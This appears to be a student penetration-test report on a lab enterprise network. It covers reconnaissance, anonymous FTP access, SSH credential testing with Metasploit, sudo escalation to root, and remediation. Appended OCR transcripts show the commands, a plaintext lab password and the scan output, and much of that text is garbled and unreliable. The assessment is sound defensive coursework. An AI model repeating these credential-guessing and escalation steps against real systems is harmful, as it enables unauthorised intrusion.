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1. Executive Summary
This report presents a comprehensive security assessment of the SWANSEA.ACCA enterprise network operated by SOAC Inc., covering both Swansea and London environments. The assessment was conducted using the National Institute of Standards and Technology Cybersecurity Framework (CSF) v1.1, which provides a structured and widely recognised methodology for identifying, analysing, and mitigating cybersecurity risks within organisational networks [1].
The assessment identified six principal vulnerabilities across the environment. These were classified using the Common Vulnerability Scoring System (CVSS) v3.1 into two High, two Medium, and two Low severity findings [6]. The most serious issues were linked to insecure authentication mechanisms and legacy protocol exposure, particularly anonymous FTP access and the continued presence of SMBv1. Together, these weaknesses significantly increased the likelihood of unauthorised access, lateral movement, and potential system compromise [7], [9].
A controlled exploitation phase demonstrated how multiple weaknesses could be chained together in a realistic attack path. This included unauthorised file access through FTP, credential discovery, remote login to the London server via SSH, and privilege escalation to root level. This reflects how attackers exploit combinations of weaknesses rather than relying on a single vulnerability in isolation [2], [3].
Following the assessment, all six identified vulnerabilities were remediated through a combination of service hardening, protocol deactivation, firewall rule enforcement, and security policy controls. Verification testing confirmed that the network attack surface had been reduced substantially while preserving required business functionality. Overall, the assessment shows that the original environment presented avoidable but significant security weaknesses, and that appropriate hardening measures can materially improve organisational security posture.

2. Introduction
2.1 Background
The SWANSEA.ACCA network is a distributed enterprise environment comprising both Windows and Linux systems across two geographically separated sites. The Swansea site hosts the primary Domain Controller, S-DC, which provides Active Directory, DNS, IIS, and FTP services. The London site contains a Debian-based server, L-CD, and an additional Linux client, connected through a persistent site-to-site VPN [4].
This type of infrastructure is typical of many modern organisations because it supports operational flexibility and resource sharing across locations. However, it also increases security complexity. When multiple services are exposed across interconnected systems, the compromise of one system can enable an attacker to pivot into other parts of the network. For this reason, secure configuration, service minimisation, and layered defensive controls are essential.
2.2 Scope
The scope of the assessment included the following systems:
	System
	Role
	Operating System
	IP Address

	S-DC
	Domain Controller, DNS, IIS, FTP
	Windows Server 2022
	192.168.1.1

	ClientS1
	Domain Client – Windows
	Windows 10
	192.168.1.10

	L-CD
	Domain Member, DHCP Relay
	Debian 13 (CLI)
	192.168.2.1

	ClientL1
	Domain Client – Linux
	Debian (GUI)
	192.168.2.10

	Kali
	Security Assessment Platform
	Kali Linux 2019
	192.168.1.50


The primary focus of the assessment was on the externally visible and internally reachable services across these hosts, with particular attention given to authentication controls, protocol security, and legacy services.
2.3 Methodology
The assessment followed a structured penetration testing process aligned with the NIST CSF lifecycle, covering the five core functions: Identify, Protect, Detect, Respond, and Recover [1]. Both manual and automated techniques were used to ensure broad coverage and reliable validation.
The work was divided into four stages:
· Phase 1 – Information Gathering: Nmap scanning, service enumeration, and host discovery [5] 
· Phase 2 – Vulnerability Assessment: Tenable Nessus scanning and manual validation using command-line tools [6] 
· Phase 3 – Exploitation: Proof-of-concept attack chaining using Metasploit and native tools [2], [3] 
· Phase 4 – Remediation: Service hardening, firewall configuration, Group Policy changes, and verification [1], [13] 
This methodology was chosen because it reflects practical industry workflows while also supporting academic analysis.

3. Network Setup and Connectivity
Kali Linux 2019 was deployed as the dedicated security testing system within the Swansea subnet. The platform was configured with dual network adapters to support internal access to the assessment environment and external access for tool installation and updates.
	Interface
	Address
	Purpose

	eth0 (intswansea)
	192.168.1.50/24
	Internal Swansea network access

	eth1 (NAT)
	10.0.3.15/24
	Internet connectivity for tool updates


A route to the London subnet was configured via the Swansea domain controller gateway. This ensured that the Kali system could reach systems in the 192.168.2.0/24 network through the site-to-site VPN path.
Connectivity testing confirmed successful communication with all in-scope hosts across both sites. This was necessary not only to validate the topology but also to demonstrate that, from an attacker’s perspective, movement between network segments was possible once a foothold had been established [4].
[image: ]Figure 1: Kali Linux IP configuration showing eth0 assigned to the internal Swansea network and eth1 assigned to NAT connectivity.

[image: ]Figure 2: Successful ICMP connectivity from Kali to S-DC (192.168.1.1) and ClientS1 (192.168.1.10).

[image: ]Figure 3: Successful ICMP connectivity from Kali to L-CD (192.168.2.1) and ClientL1 (192.168.2.10), confirming VPN routing.

4. Information Gathering
4.1 Nmap Active Reconnaissance
Nmap was used as the primary reconnaissance tool to identify open ports, exposed services, and potential vulnerabilities across the SWANSEA.ACCA network [5]. Vulnerability scripts were also used to improve visibility into service-level security weaknesses.
The primary command used against the domain controller was:
nmap --script vuln -T4 192.168.1.1
The scan identified several exposed services, including FTP, DNS, HTTP, Kerberos, LDAP, SMB, and legacy services such as Daytime and Chargen. The number and variety of exposed services on the domain controller indicated a broad attack surface.
[image: ][image: ]Figure 4: Nmap vulnerability scan output showing exposed services and indicators of service-level weaknesses on S-DC.
4.2 Tenable Nessus Automated Scanning
Tenable Nessus Essentials was used to perform an automated Basic Network Scan against the primary server. Automated scanning complements manual enumeration by detecting known vulnerabilities, weak configurations, and deprecated services more efficiently than manual methods alone [6].
The Nessus scan identified 43 findings on S-DC, including Critical, High, Medium, and Informational results. Although not all findings were in scope for remediation in this assessment, the results were useful in prioritising the most important issues and supporting severity classification.
[image: ]Figure 5: Nessus Essentials dashboard showing scan completion and the distribution of identified vulnerabilities on S-DC.
4.3 Service Enumeration Summary
The principal services identified during the information gathering stage are summarised below.
	Host
	IP Address
	Open Ports
	Key Services

	S-DC
	192.168.1.1
	21, 53, 80, 88, 135, 139, 389, 443, 445, 13, 19
	FTP, DNS, HTTP/S, Kerberos, SMB, LDAP, legacy services

	ClientS1
	192.168.1.10
	Filtered / limited exposure
	Domain member

	L-CD
	192.168.2.1
	21, 22, 80
	FTP, SSH, HTTP

	ClientL1
	192.168.2.10
	22, 80
	SSH, HTTP


This stage established the basis for the remainder of the assessment by identifying which systems and services required deeper analysis.

5. Vulnerability Assessment
All findings were categorised using CVSS v3.1, which provides a consistent scoring framework for assessing the severity of vulnerabilities [6].
5.1 Vulnerability Summary
	ID
	Vulnerability
	Severity
	System
	CWE / CVE / CVSS
	Impact

	V1
	Anonymous FTP Access
	High
	S-DC
	CWE-287/CVSS 9.1
	Sensitive data exposure

	V2
	SMBv1 Protocol Exposure
	High
	S-DC
	CVE-2008-4250 / CVSS 10.0
	Remote exploitation risk

	V3
	Unencrypted HTTP Traffic
	Medium
	S-DC, L-CD, ClientL1
	CWE-319/CVSS 6.5
	Interception / MITM risk

	V4
	Weak SSH Authentication
	Medium
	L-CD, ClientL1
	CWE-521/CVSS 7.5
	Brute-force and shell access

	V5
	Daytime Service (Port 13)
	Low
	S-DC
	CWE-16/CVSS 4.3
	Reconnaissance / unnecessary exposure

	V6
	Chargen Service (Port 19)
	Low
	S-DC
	CWE-16/CVSS 4.3
	Amplification and attack surface risk


5.2 High Severity Findings
V1 – Anonymous FTP Access (CWE-287)
The FTP service on S-DC allowed anonymous authentication, meaning that a user connected to the network could log in and access files without valid credentials. This represents a serious failure in access control and violates the principle of least privilege [7].
During testing, the following files were retrieved without authentication:
· important_file.txt – key is 900 
· new_important_file.txt – key is 930 
· test.txt – FTP test file for swansea.acca 
· accb6000.txt – sample file created by Dr. MMK 
In a real organisational environment, such files could contain passwords, configuration data, customer records, or internal operational information. This creates a serious confidentiality risk and could also have legal implications under data protection obligations [3].
[image: ]Figure 6: Anonymous FTP access on S-DC showing successful unauthenticated access to the FTP service.
V2 – SMBv1 Protocol Exposure
The domain controller exposed SMB on port 445, and subsequent configuration analysis confirmed that SMBv1 was enabled. SMBv1 is a deprecated protocol that has been widely criticised for weak security design and has been associated with severe attacks such as WannaCry [9].
Although the assessment did not rely on destructive exploitation, the presence of SMBv1 on the primary domain controller materially increased the risk of remote compromise. In enterprise terms, this is especially significant because a domain controller is a high-value target. Any weakness on such a system has disproportionate impact.
[image: ][image: ]Figure 7: Nmap output showing SMB service exposure on port 445 of S-DC.
5.3 Medium Severity Findings
V3 – Unencrypted HTTP Traffic (CWE-319)
Port 80 was active on multiple systems, including S-DC, L-CD, and ClientL1. This meant that traffic to web services could be transmitted without transport-layer encryption. Unencrypted HTTP traffic can be intercepted by any attacker with a suitable network position, particularly within internal enterprise environments [10].
This is important because internal networks should not be assumed to be inherently safe. Once an attacker gains a foothold, plaintext protocols become an easy source of credentials and session information.
V4 – Weak SSH Authentication (CWE-521)
SSH access on L-CD accepted password-based authentication and lacked strong defensive controls such as key-only authentication or multi-factor protection. This makes brute-force or credential stuffing attacks more feasible [11].
In practice, weak authentication becomes especially dangerous when combined with poor password hygiene or predictable usernames. During the assessment, this weakness contributed to remote shell access on the London server.
[image: ]Figure 8: Successful credential discovery and service authentication related to the London server.
5.4 Low Severity Findings
V5 – Daytime Service (Port 13)
The legacy Daytime service was exposed on S-DC. While the service is not critical by itself, it has no practical business value in a modern enterprise environment and contributes unnecessary attack surface [12].
V6 – Chargen Service (Port 19)
The Chargen service was also active on S-DC. This service is obsolete and can contribute to reflection or amplification style attack scenarios. Even where the direct exploitation value is limited, retaining obsolete services contradicts hardening best practice [12].
[image: ]Figure 9: Nmap output showing legacy services exposed on ports 13 and 19 prior to remediation.

6. Exploitation and Post-Exploitation
All exploitation was performed ethically within the approved laboratory scope and for assessment purposes only [2], [3].
	Step
	Attack
	Target
	Tool
	Outcome

	1
	Anonymous FTP access
	S-DC
	FTP / wget
	Files exfiltrated

	2
	Credential discovery
	L-CD
	Metasploit / service testing
	Credentials obtained

	3
	SSH remote login
	L-CD
	SSH / Metasploit
	Shell access gained

	4
	Privilege escalation
	L-CD
	sudo
	Root access achieved


6.1 Anonymous FTP File Exfiltration
The anonymous FTP weakness was exploited to retrieve files from the S-DC system without any valid credentials. This was demonstrated using FTP access and file retrieval commands.
[image: ]Figure 10: FTP banner and unauthenticated access to the SWANSEA.ACCA FTP service.

[image: ]Figure 11: Sensitive files successfully retrieved from the FTP server without authentication.
6.2 Credential Discovery and SSH Access
Following service-level testing against L-CD, valid credentials were identified and used to authenticate to the system remotely. This illustrated how a service exposure issue on one system can support compromise of another. The Metasploit auxiliary module auxiliary/scanner/ssh/ssh_login was used to perform credential testing against the SSH service running on L-CD (192.168.2.1). The module was configured with a targeted username list and a common password wordlist. During the scan, valid credentials were successfully identified for the londonlogin account. These credentials were then used to establish a direct SSH session to L-CD, providing interactive shell access to the London server. This step demonstrated that weak password-based SSH authentication, when combined with the absence of account lockout controls, creates a realistic path for remote compromise. The success of this stage was directly enabled by the V4 weakness identified during the vulnerability assessment phase [11].
6.3 Privilege Escalation
Once shell access was obtained on L-CD, the londonlogin account was found to possess sudo privileges. This enabled privilege escalation to root level, demonstrating full system compromise.
[image: ]Figure 12: Remote shell access and root privilege escalation on L-CD confirmed through command output.
This attack chain demonstrates that seemingly separate weaknesses can compound into a severe enterprise risk when layered together.

7. Wireshark Network Traffic Analysis
Wireshark was used to capture and analyse live traffic between systems, supporting the findings related to insecure protocol use [10]. Two separate captures were taken: one from S-DC during an FTP session, and one from the Kali platform during ICMP connectivity testing. Packet analysis confirmed that traffic associated with the FTP service could be fully inspected in plaintext, with no transport-layer encryption applied at any point in the session.
 This stage was especially important because it provided evidence not only that insecure services were running, but also that sensitive information could be exposed during normal operation. The FTP capture clearly showed the USER anonymous command transmitted in cleartext, confirming that an attacker with a suitable network position could intercept session content without requiring any additional tools or privileges. The ICMP capture confirmed bidirectional reachability between the Kali platform and S-DC, validating the network path used throughout the assessment. Together, these captures demonstrate that the absence of encrypted transport protocols across both FTP and HTTP represents a practical, not merely theoretical, exposure risk [10].
[image: ]Figure 13: Wireshark packet capture showing ICMP traffic between Kali and S-DC during connectivity testing.

[image: ]Figure 14: Wireshark FTP-filtered traffic showing the USER anonymous command visible in plaintext.
The Wireshark findings reinforced the significance of the HTTP and FTP weaknesses by demonstrating the practical exposure of unencrypted communications.

8. Critical Analysis
8.1 Technical Risk Assessment
The assessment identified a pattern of systemic misconfiguration rather than isolated technical weaknesses. Anonymous FTP, SMBv1 exposure, weak SSH authentication, and legacy services each represent a problem individually, but the real risk arises from their interaction. An attacker does not need every control to fail; only enough of them to build a workable attack path [2].
Of particular concern was the exposure of insecure services on the primary domain controller. A domain controller should be one of the most heavily protected systems in any enterprise environment because it underpins authentication, directory services, and administrative trust relationships. Weaknesses on such a system therefore carry elevated organisational risk.
8.2 Business Impact Assessment
From a business perspective, the identified vulnerabilities would expose SOAC Inc. to several categories of harm:
· Confidentiality risk: Anonymous FTP access allowed sensitive files to be retrieved without authentication. 
· Operational risk: Root access on L-CD could permit service disruption, destructive actions, or data tampering. 
· Ransomware exposure: SMBv1 materially increases risk associated with malware and wormable exploits [9]. 
· Regulatory and legal exposure: Data leakage or poor protection of sensitive information may create compliance implications under data protection requirements [3]. 
· Reputational damage: A successful compromise affecting client or internal data can damage trust and trigger incident response obligations. 
8.3 Defence-in-Depth Evaluation
The environment, in its original state, lacked strong evidence of layered defensive controls. The successful attack path did not require bypassing major barriers such as segmentation, endpoint restrictions, key-based SSH, or strong service minimisation. This suggests that the environment depended too heavily on basic connectivity and default service configurations.
A stronger defence-in-depth model would include tighter exposure control, stronger authentication, reduction of legacy services, more restrictive privilege management, and broader visibility through central logging and monitoring [1], [13].

9. Remediation and Security Controls
All six vulnerabilities were successfully remediated through practical hardening steps.
9.1 Remediation Summary
	ID
	Vulnerability
	Control Applied
	Verification

	V1
	Anonymous FTP
	IIS FTP Authentication – Anonymous Disabled
	530 login failed

	V2
	SMBv1 Protocol
	SMB1Protocol disabled via PowerShell
	State: Disabled

	V3
	HTTP Port 80
	Windows Firewall rule BLOCK_HTTP
	Port 80 closed

	V4
	Weak SSH Authentication
	AD GPO lockout + password complexity
	Policy verified

	V5
	Daytime Port 13
	Legacy service disabled
	Port 13 closed

	V6
	Chargen Port 19
	Legacy service disabled
	Port 19 closed


9.2 Anonymous FTP Disabled
Anonymous FTP authentication was disabled through IIS Manager by navigating to the FTP site authentication settings and disabling Anonymous Authentication [7]. Subsequent testing confirmed that login attempts now fail.
[image: ]Figure 15: FTP validation showing 530 User cannot log in, confirming anonymous access has been blocked.
9.3 SMBv1 Disabled
SMBv1 was disabled using PowerShell. Verification was then performed using feature state output to confirm that the protocol had been removed from active use [9].
[image: ]Figure 16: PowerShell output confirming that SMBv1 is disabled on S-DC.
9.4 HTTP Port 80 Blocked
A Windows Defender Firewall inbound rule named BLOCK_HTTP was created to deny TCP traffic on port 80. A post-change Nmap scan confirmed that the port was no longer accessible.
[image: ]Figure 17: Firewall configuration and verification showing that HTTP exposure on port 80 has been removed.
9.5 Password and Account Lockout Policy
To address weak authentication risk, Group Policy was used to enforce stronger account controls. This included enabling password complexity and configuring an account lockout threshold and duration [13].
[image: ][image: ]Figure 18: Group Policy configuration showing password complexity and account lockout controls.
9.6 Legacy Services Removed
The obsolete Daytime and Chargen services were disabled on S-DC. Follow-up Nmap testing confirmed that ports 13 and 19 had transitioned from open to closed.
[image: ]Figure 19: Nmap verification confirming that ports 13 and 19 are now closed.
9.7 Remediation Verification Summary
	Vulnerability
	Verification Method
	Result

	Anonymous FTP
	FTP login retest
	530 login failed

	SMBv1
	PowerShell feature check
	Disabled

	HTTP Port 80
	Nmap rescan
	Closed

	Weak SSH Authentication
	GPO review
	Policy applied

	Daytime
	Nmap rescan
	Closed

	Chargen
	Nmap rescan
	Closed


These results show that remediation was not only applied but also independently validated, which is essential for demonstrating effective security improvement.

10. Conclusion
This assessment of the SWANSEA.ACCA network demonstrated that misconfigured services, weak authentication practices, and legacy protocol exposure can create substantial enterprise risk. The most serious issues involved anonymous FTP access and SMBv1 exposure on the domain controller, alongside weak remote access controls on the London server.
The controlled exploitation phase showed how these weaknesses could be combined into a practical attack chain leading to unauthorised data access and root-level compromise. This underlines a critical lesson in cybersecurity: the greatest risk often lies not in a single flaw, but in the combination of several manageable weaknesses [1], [2].
The remediation phase successfully addressed all six assessed vulnerabilities. Post-remediation testing confirmed that insecure services were removed or restricted, authentication controls were strengthened, and unnecessary attack surface was reduced. The security posture of the SWANSEA.ACCA network has therefore improved measurably.
For continued improvement, SOAC Inc. should maintain regular vulnerability scanning, continue hardening administrative systems, replace password-based SSH with public-key authentication, adopt HTTPS-only web access, and strengthen monitoring and segmentation controls [6], [10], [11], [13].
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Appendix A – Screenshot Evidence Index
The following tables map every figure referenced in this report and all additional screenshot evidence to the corresponding file. Screenshots marked in the main report body are listed in Part 1. All supplementary evidence is listed in Part 2.
Part 1 – Figures Referenced in Report Body
	Figure
	Description
	Screenshot File

	Figure 1
	Kali Linux IP configuration showing eth0 (internal) and eth1 (NAT)
	ip a kali.png[image: ]

	Figure 2
	Successful ICMP connectivity from Kali to S-DC and ClientS1
	kali ping .png[image: ]

	Figure 3
	Successful ICMP connectivity from Kali to L-CD and ClientL1 via VPN
	kali ping 2.png[image: ]

	Figure 4
	Nmap vulnerability scan output showing exposed services on S-DC
	kali vulnerabilities.png[image: ]

	Figure 5
	Nessus Essentials dashboard showing scan completion and vulnerability distribution
	nessus1.png[image: ]

	Figure 6
	Anonymous FTP access on S-DC showing unauthenticated login
	ftp .png[image: ]

	Figure 7
	Nmap output showing SMB service exposure on port 445 of S-DC
	kali port445.png[image: ]

	Figure 8
	Successful credential discovery and service authentication on London server
	login successful.png[image: ]

	Figure 9
	Nmap output showing legacy services on ports 13 and 19 prior to remediation
	kali nmap ports.png[image: ]

	Figure 10
	FTP banner and unauthenticated access to the SWANSEA.ACCA FTP service
	ftp .png[image: ]

	Figure 11
	Sensitive files successfully retrieved from FTP server without authentication
	cat.png[image: ]

	Figure 12
	Remote shell access and root privilege escalation on L-CD
	metasploitlcd.png[image: ]

	Figure 13
	Wireshark packet capture showing ICMP traffic between Kali and S-DC
	wireshark.png[image: ]

	Figure 14
	Wireshark FTP-filtered traffic showing USER anonymous command in plaintext
	ftp  wireshark.png[image: ]

	Figure 15
	FTP validation showing 530 error confirming anonymous access is blocked
	ftp last slide.png[image: ]

	Figure 16
	PowerShell output confirming SMBv1 is disabled on S-DC
	SMB1protocol disabled.png[image: ]

	Figure 17
	Firewall configuration and verification showing HTTP port 80 removed
	block port80.png[image: ]

	Figure 18
	Group Policy configuration showing password complexity and account lockout
	passwordpolicy.png[image: ]

	Figure 19
	Nmap verification confirming ports 13 and 19 are now closed
	port19 closed.png[image: ]



Part 2 – Additional Supporting Evidence
The following screenshots provide supplementary evidence supporting the findings, exploitation steps, and remediation verification described throughout this report.
	Figure
	Description
	Screenshot File

	Figure 20
	Nmap host discovery scan across subnet
	kali nmap -sn.png[image: ]

	Figure 21
	Nmap full port scan results on S-DC
	kali nmap ports2.png[image: ]

	Figure 22
	Nmap advanced scanning – output 1
	kali advanced scanning .png[image: ]

	Figure 23
	Nmap advanced scanning – output 2
	kali advanced scanning 2.png[image: ]

	Figure 24
	Nmap advanced scanning – output 3
	kali advanced scanning 3.png[image: ]

	Figure 25
	Nmap deep enumeration scan – output 1
	kali enum deep.png[image: ]

	Figure 26
	Nmap deep enumeration scan – output 2
	kali enum deep 3.png[image: ]

	Figure 27
	Nmap deep enumeration scan – output 3
	kali enum deep 4.png[image: ]

	Figure 28
	Nmap results across all three target IPs
	nmap all three ips.png[image: ]

	Figure 29
	Nmap full scan of S-DC (192.168.1.1)
	nmap 192.168.1.1 -a.png[image: ]

	Figure 30
	Nmap subnet scan of 192.168.1.0/24
	nmap 192.168.1.0.png[image: ]

	Figure 31
	FTP port 21 open and accessible on S-DC
	kali port21.png[image: ]

	Figure 32
	HTTP port 80 open on S-DC
	kali port80.png[image: ]

	Figure 33
	Port 445 additional enumeration details
	kali port445-2.png[image: ]

	Figure 34
	Port 5985 (WinRM) exposed on S-DC
	kali port5985.png[image: ]

	Figure 35
	SMB enumeration output from Kali
	kali SMB.png[image: ]

	Figure 36
	SMBclient login attempt
	smbclient login.png[image: ]

	Figure 37
	Nessus scan details – finding set 2
	nessus2.png[image: ]

	Figure 38
	Nessus scan details – finding set 3
	nessus3.png[image: ]

	Figure 39
	Nessus scan details – finding set 4
	nessus4.png[image: ]

	Figure 40
	Nessus scan details – finding set 5
	nessus5.png[image: ]

	Figure 41
	Nessus scan details – finding set 6
	nessus6.png[image: ]

	Figure 42
	Nessus scan details – finding set 7
	nessus7.png[image: ]

	Figure 43
	Nessus scan of London server – part 1
	london nessus.png[image: ]

	Figure 44
	Nessus scan of London server – part 2
	london nessus 2.png[image: ]

	Figure 45
	Metasploit module attempt against S-DC
	metasploit 192.168.1.1.png[image: ]

	Figure 46
	Metasploit session output – stage 2
	metasploit2.png[image: ]

	Figure 47
	Metasploit session output – stage 3
	metasploit3.png[image: ]

	Figure 48
	Metasploit SSH module output
	metasploinssh.png[image: ]

	Figure 49
	Metasploit LCD session details
	lcd metasploit.png[image: ]

	Figure 50
	S-DC full IP configuration (ipconfig /all)
	s-dc ipconfig all.png[image: ]

	Figure 51
	Local security policies on S-DC
	security policies .png[image: ]

	Figure 52
	Password policy configuration – detail 2
	passwordpolicy2.png[image: ]

	Figure 53
	Password policy configuration – detail 3
	passwordpolicy 3.png[image: ]

	Figure 54
	Port 13 closed after legacy service removal
	port13 closed.png[image: ]

	Figure 55
	Port 80 closed verification scan
	port80 closed.png[image: ]

	Figure 56
	FTP authentication settings showing anonymous disabled
	ftp authentication disabled.png[image: ]

	Figure 57
	Restrict Anonymous registry/policy setting applied
	restrict anonymous = 1.png[image: ]

	Figure 58
	Ping connectivity test from Kali 2019
	ping from kali2019.png[image: ]

	Figure 59
	Ping test to S-DC across all three IPs
	ping s-dc all three.png[image: ]

	Figure 60
	VirtualBox S-DC snapshot state
	VirtualBox_S-DC1_07_03_2026_10_50_49.png[image: ]
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erminal_Hel
Name (192.168.1.1:r00t): anonymous

331 Anonynous access allowed, send identity (e-mall nane) as passuord
Password

230-Share your work files herei1t
230 User logged in

Renote systen type is Windows NT

fip exit

421 Service not available, remote server has closed connection
root@osboxes:~# ftp 192.168.1.1

Connected to 192.168.1.1.

220-Hicrosoft FTP Service

220 Welcome to SWANSEA.ACCA Network! 111

Name (192.168.1.1:r00t): anonymous.

331 Anonynous access allowed, send identity (e-nail nane) as password
Password
230-Share_your work files heret!t

230 User logged in
Renote systen type is Windous T

Ttp> bye

421 service not available, remote server has closed comnection
rooteosboxesi~# ftp 192.168.1.1

Connected to 192.168.1.1.

220-Hicrosoft FTP Service

220 Welcome to SWANSEA.ACCA Network!!!1

Name (192.168.1.1:r00t): anonymous

331 Anonymous access allowed, send identity (e-mail name) as password

[ ]
"
£
“

Password
530 User cannot log in, home directory inaccessible.

Login failed

Remote systen type is Windows NT

Ttp> exit

421 Service not avallable, remote server has closed connection

Foot@osboxes:~# nnap -p 445 --script smb-vuln-ms17-610 192.168.1.1 1
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AuxiLiary module execution completed

BS15 auxiliary(scanner/ftp/1tp Login) > set USERNAME londonlogin
USERNAME => Landonlogin

BST5 auxiliary(scanner/ftp/ftp login) > set PASSWORD Notebookg123

PASSHORD => Notebookg123

nsf5 auxiliary(scanner/tp/ftp login) > et RHOSTS 192.168.2.1
RHOSTS => 192.168.2.1

NSES auxiliary(scanner/ftp/ftp_Login) > run

192.168.2.1:21 - 192.168.2.1:21 - Starting FTP login sweep
1 1921168.2.1:21 - 192.168.2.1:21 - Login Successful: londonlogin:Notebooke123
192.168.2.1:21 - scanned 1 of 1 hosts (166% complete)
Auxiliary module execution completed
nsf5 auxiliary(scanner/ftp/ftp_Login) > []
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Search_Terminal_Help.

rootaoshoxes:—# cat |/192.168.1.1/inportant file.txt
bash: /192.168.1.1/important_file.txt: No such file or directory N

Wget -1 TEp://ananymous:anonymous@192. 168.1.1/
Footgoshoxes:—# cat ~/192.168.1.1/inportant_file. txt

key 15 800rootioshoxes:~# cat ~/192.168.1.1/new_inportant_file.txt

key 15 830rootcoshoxes:~# cat ~/192.168.1.1/test. txt

FTP test file for swansea.acca

rooteosboxes:~# u
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Search _Terminal _Help

whoani
Tondonlogin
hostnane

L-co

echo Notebookg123' | sudo
root

ia
uid=1008 (Londonlogin) gid=1006 (londonlogin) groups=100(Londonlogin) ,24(cdrom) ,25(floppy) 27 (sudo) , 29 (audio) ,38(dip) , 44 (video) , 46 (plugdev) , 160 (users)

S whoani

161 (netdey)
Linux L-CD 6.12.48+debl3-and64 #1 SHP PREEMPT_DYNAMIC Debian 6.12.45-1 (2025-03-20) xB6_64 GNU/Linux

1p address show

I o

<LOOPBACK, UP, LOWER UP> mtu 65536 qdisc nogueue state UNKNOWN group default glen 1000
Link/ Loopback 00:00:00:60:00:00 brd 60:00:00:00:0:00
inet 127.0.0.1/8 scope host lo
valid Uit forever preferred lft forever
net6 ::1/128 scope host noprefixroute
valid Ut forever preferred Lft forever
enpos3: <BROADCAST WULTICAST, UP, LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1060
Uink/ether 08:00:27:27:68:¢3 brd {f:7f:ff:ff:ff: T
altnane enx0a0272768c3
Snet 192.168.2.1/24 brd 192.168.2.255 scope global enpos3
valid Lft forever preferred Lft forever
inete feg0::a00:271:fe27:68c3/64 scope Link proto kernel 1L
valid Uit forever preferred Lft forever

ozl
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£
i
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1.
1.
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Source Destination Protocol_Length Info

1 £ 392.160.1.1 FTP. 62 Request: USER anonymous

210.002406616  192.168.1.1 192.166.1.50 FiP 138 Response: 331 Anonymous access allowed, send identity (e-mail nane) as password.
65.861505285  192.168.1.50 192.168.1.1 e 73 Request: PASS

75.865508832  192.168.1.1 192.168.1.50 e 120 Response: 530 User cannot log in, home directory inaccessible.

95.866192221  192.168.1.50 192.168.1.1 e 72 Request: SYST

105809203047  192.168.1.1 192.165.1.50 e 82 Response: 215 Windows_NT.

Erane 1: 82 bytes on wire (636 bits), 62 bytes captured (636 bits) on interface 0 -
Ethernot I1, Src: PosConpu Ga; 4162 {08:09:27:6a;4:02), Dot PCanpu1a:80:d (8:09:27:1a:80:4)
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root@osboxes: ~

Edt_View Search Terminal Help
Footeosbores:~# ftp 192.168.1.1
Connected to 192.168.1.1
220-icrosoft FTP Service

226 Welcone to SWANSEA.ACCA Network!!1!
Nane (192.168.1.1:r00t): anonymous
331 Anonynous access allowed, send
Password

530 User cannot log in, home directory inaccessible.
Login failed

Renote systen type is Windows NT

Tt

identity (e-mail nane) as password
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Microsoft
= Featurename . sme1Protocol )
o5 Sp1 ayName : SMB 1.0/CIFS File Sharing Support
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or Browsen protocol.
RestartRequired . Possible
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customProperties
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Flle Edit View Search Terminal Help
435/tcp open microsoft-ds syn-ack LTl 128 -
MAC Address: ©8:08:27:14:80:9D (Oracle VirtualBox virtual NIC)

Nnap done: 1 TP address (1 host up) scanned in 0.62 seconds
rootEoshoxesi~# nmap -p 19 192.168.1.1

Starting Nnap 7.80 ( https://nnap.org ) at 2026-04-04 15:47 EDT
Nnap scan report for 192.168.1.1

Host 1s up (0.00165 Latency)

PORT  STATE SERVICE
19/tcp open chargen
MAC Address: 08:00:27:14:80:9D (Oracle VirtualBox virtual NIC)

Nnap done: 1 TP address (1 host up) scanned in 0.64 seconds
Foot@osboxes:~# nnap -p 19 152.168.1.1

Starting Nnap 7.86 ( Wtps://nmap.org ) at 2626-04-04 15:49 EDT.
Nnap scan report for 192.168.1.1

Host 1s up (5.00081s latency)

PORT  STATE SERVICE
19/tcp closed chargen
MAC Address: 08:00:27:1A:80:90 (Oracle VirtualBox virtual NIC)

Nnap done: 1 TP address (1 host up) scanned in 0.63 seconds
Footeosboxes:~#
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root@osbores ©co0
File Edit_View Search Terminal Help

rootGosboxesi—4 nnap -T4 192.168.1.10

Starting Nnap 7.80 ( https://nmop.org ) at 2026-04-04 11:29 EOT

Nnap scan report for 192.165.1.10

Host s Up. (600273 Latency)

Mot shoun: 999 filtered ports

PORT | STATE SERVICE

5357/tcp open_wsdap

HAC Address. 08:00:27:94:61:80 (Oracle Virtualgox virtual NIC)

Naap done: 1 TP address (1 host up) scanned in 16.31 seconds
Footgosboxes:-# nnap T4 152.108.2.1

| Sterting s 730 ( ttps://map-org ) at 2626-04-04 11:30 €07
Naap scan report for 192.160.2.1
Host 15 up (b.60185 Latency)
ot shoun: 987 closed parcs
PORT " STATE SERVICE

o | 21t open ftp
22/tcp open ssh

a0/tch open http

Waap done: 1 TP address (1 host up) scanned in 0.71 seconds
Footgoshoxes:# nnap T4 192.166.2.10

M Starting Nnap 7.50 ( https://nmap.org ) at 2026-04-04 11:30 EDT
Nnap scan report for 192.16.2.10
Host 15 up (b.00275 Latency)

[B ot shoun' 598 closed parcs
PORT | STATE SERVICE
22/tcp open ssh
80/tcp open hetp

& | tmsp done: 1 19 sdaress (1 host up) scamned 40 .73 seconds
Footgosberas: ¢ I
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root@esboxes:

rooteosboxes:# nmap -T4 -A 192.168.1.1
Starting Nmap 7.8 ( https://nnap.org ) at 2026-64-04 11:15 EOT
Nnap scan report for 192.168.1.1

Host is up (0.0017s latency)

Not shown: 980 closed ports

PORT  STATE SERVICE VeRSTON

7/tep open echo

9/tcp  open discard?

13/tcp open daytine  Wicrosoft Windows USA daytime
17/tcp  open gotd Windows qotd (English)

1s/tcp open  chargen

21/tcp  open ftp Wicrosoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 03-25-25 62:52p 67 accboos. txt

| 03-25-25 ©3:08PM 10 important file.txt
| 03-25-25 63:11pM 10 new_important file.txt
| 03-25-25 12:39PM 32 test.txt
| ftp-syst

| SYST: Windows NT
53/tcp open domain?
|

|

|

|

fingerprint-strings.
DNsversiongindReqTCP:
bind
89/tcp open http
| htp-methods
| Potentially risky methods: TRACE
| http-server-header: Microsoft-115/10.8
| http-title: Site doesn't have a title (text/htnl)
83/tcp open Kerberos-sec Microsoft Windows Kerberos (server time: 2026-04-04 23:07:012)
135/tcp open msrpc Microsoft Windows RPC
135/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LOAP (Domain: swansea.acca0., Site: Default-First-Site-Name)
443/tcp open ssU/http  Microsoft IIS httpd 10.0
| http-auth
| HTTP/1.1 401 Unauthorized\xeD
